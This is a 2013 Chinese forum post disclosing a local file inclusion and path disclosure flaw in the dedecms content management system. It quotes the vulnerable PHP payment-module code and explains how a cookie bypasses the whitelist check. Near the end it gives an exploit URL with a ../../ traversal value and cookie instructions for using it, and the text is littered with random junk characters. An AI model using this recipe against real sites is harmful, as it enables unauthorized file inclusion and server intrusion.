找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1928|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)2 \) f) i/ w- T1 n
% r7 P+ `5 m$ G5 ^: a
出现漏洞的两个文件为:6 S; w9 j, b& r2 b
Include/payment/alipay.php
% g9 A0 k, I- A! P' \9 P  G' \Include/payment/yeepay.php
: `+ i, X" d8 j3 R, S. ]8 Y5 ^漏洞均出现在respond方法里,估计这两个文件是临时工写的。
( ]# H8 w4 L$ ]  ?( ~: T3 U2 t
" _0 y! f2 ?! ~* E( N! lInclude/payment/alipay.php, H7 ^% T! L5 U4 ?' ]! E! X

3 P( I! M2 e2 Z/ D) e......
- R7 a2 z$ i8 R, ?, B   function respond()/ O: V1 j, n* U/ s
    {
# F4 J( h2 Q0 Y. x% g6 o        if (!empty($_POST))+ W5 f* P4 z0 l8 N6 |$ h% \
        {
5 W8 R* i1 |& c. P* u+ l            foreach($_POST as $key => $data)% A7 i* Y7 {& ^$ h7 K( @, [
            {/ W$ I, S" \2 L. O
                $_GET[$key] = $data;6 G+ I7 E& i! c
            }
- d1 c. `9 _' E& Z        }
) L& x1 U6 Z1 l3 d        /* 引入配置文件 */- u6 C9 }1 c. u2 c3 r. `
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
9 r( Y5 r5 {4 Z8 r) K...... 8 P' ~' U& G% t9 u

9 O: X% z, Q( ^: n, D
9 m9 A; T; R7 }' a3 S大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。9 F* ?1 \" S& _1 `$ y1 F4 M
& O7 F6 e. Y( s; B9 w. [7 v' S
Include/payment/yeepay.php# O* k) t  A; Y( N" ^
, t" v1 S# G2 n' O
/ {6 B3 T% @: g& v
1 G/ R" A2 s1 f
......  j% Q" w+ O/ b4 t6 Y
    function respond()
+ Q2 c% V7 Q) J) W% A9 c6 f1 L    {
: u$ N1 O9 j! K0 q/ v2 ~. p # U' ^7 N7 ?* @$ e
        /* 引入配置文件 */
$ s. X/ Z4 ?8 x3 D/ I$ |, v# ]        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';0 O( q8 M! e, @- H$ h

% o% ?: `) u* p" M        $p1_MerId = trim($payment['yp_account']);3 X! Q  r1 w2 T6 I
        $merchantKey = trim($payment['yp_key']);+ R! }0 B( u6 I" O( m
...... - J% y/ E: A- D  S% j6 k( \
: S& ^& b3 y( j1 ~

: u6 l# {; Z4 v' x& A; `7 x ' [. w. s9 W/ s4 Q: z

6 H* c1 C( F. o大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
  A% O4 F7 n" G7 |
$ k: Y- ]+ b8 _2 K' X这两个方法在plus/carbuyaction.php文件调用。
: D" e  x5 s& \; z1 e+ Y( q5 \# X' l1 e1 b6 v
plus/carbuyaction.php* X2 r5 W# ?+ c" C6 X, l
9 p# Z3 M/ z7 ]$ Q, y' ?
......
1 K1 h* b8 H2 k3 b0 f8 X7 n# s6 w} else if ($dopost == 'return') {$ P% D% x1 ^2 S) `' t5 [& B% p
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');0 e$ w. i* `5 J
    if (in_array($code, $write_list)). |) U- q" g6 |* K2 f6 W* U
    {
7 U6 y. a1 [  A, {4 Q0 ~        require_once DEDEINC.'/payment/'.$code.'.php';
+ B2 }+ e) B! L/ u4 G. M6 u        $pay = new $code;8 }; B+ I/ o. R/ N% }6 f" Y
        $msg=$pay->respond();# s! ], O9 u. {6 }  d
        ShowMsg($msg, "javascript:;", 0, 3000);
9 Q) K3 i, B" Z7 \  y        exit();  
4 j7 ]; L* }. a  n6 I* ~    } else {
+ m* _" d8 U0 S! q        exit('Error:File Type Can\'t Recognized!');. G1 u7 P: A- l7 S! l
    }
% D; N5 M7 I; B0 F}
& l" X( {% _; O...... ! {  O0 Q; [6 G* Y
+ i9 w* G. }* ~1 `
! K) [/ @  v! l7 _

1 ?) K$ c! O( h$ {8 U0 w  u; [( j! S! Z5 q" I* X7 V

# Q4 R1 y3 c3 r- T' Y0 i
0 B' o: F4 C' K8 ]" w6 K% v2 u大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
1 j3 y" _: b2 t& O& R* D2 S所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
, T! n' m! D7 r" X0 J8 F
4 O. r. L9 |/ S3 l& k回到include/common.inc.php来看看他的机制。
7 A" }" s& w9 ^# G- M7 i! @) A8 Y+ N1 G
. W2 t. u' ]* ^* R4 j; D2 C2 ~, w

  Q+ U$ z- `6 P- i! ]- |3 x. _......; U! @) Z: c, {7 s+ E3 }
foreach(Array('_GET','_POST','_COOKIE') as $_request)( {& w/ [; R! J! V6 j
{
; G7 Q3 k  N4 X8 J1 @1 G$ h, w        foreach($$_request as $_k => $_v)
6 [2 b3 |0 c& I( H; c) H        {
8 T. o- Y6 a* |/ e8 H9 A7 ]; o- g) {                if($_k == 'nvarname') ${$_k} = $_v;- M* R3 R: H/ V9 w9 A" W
                else ${$_k} = _RunMagicQuotes($_v);
( j. N) ^0 C: c4 `        }3 I& x' i: n9 `4 w- w- I9 q
}
  i* x& T, b' t0 q2 j. e5 Q...... 9 ^  ^3 @0 P1 h1 G) t
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
: q0 M5 u7 L+ t由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表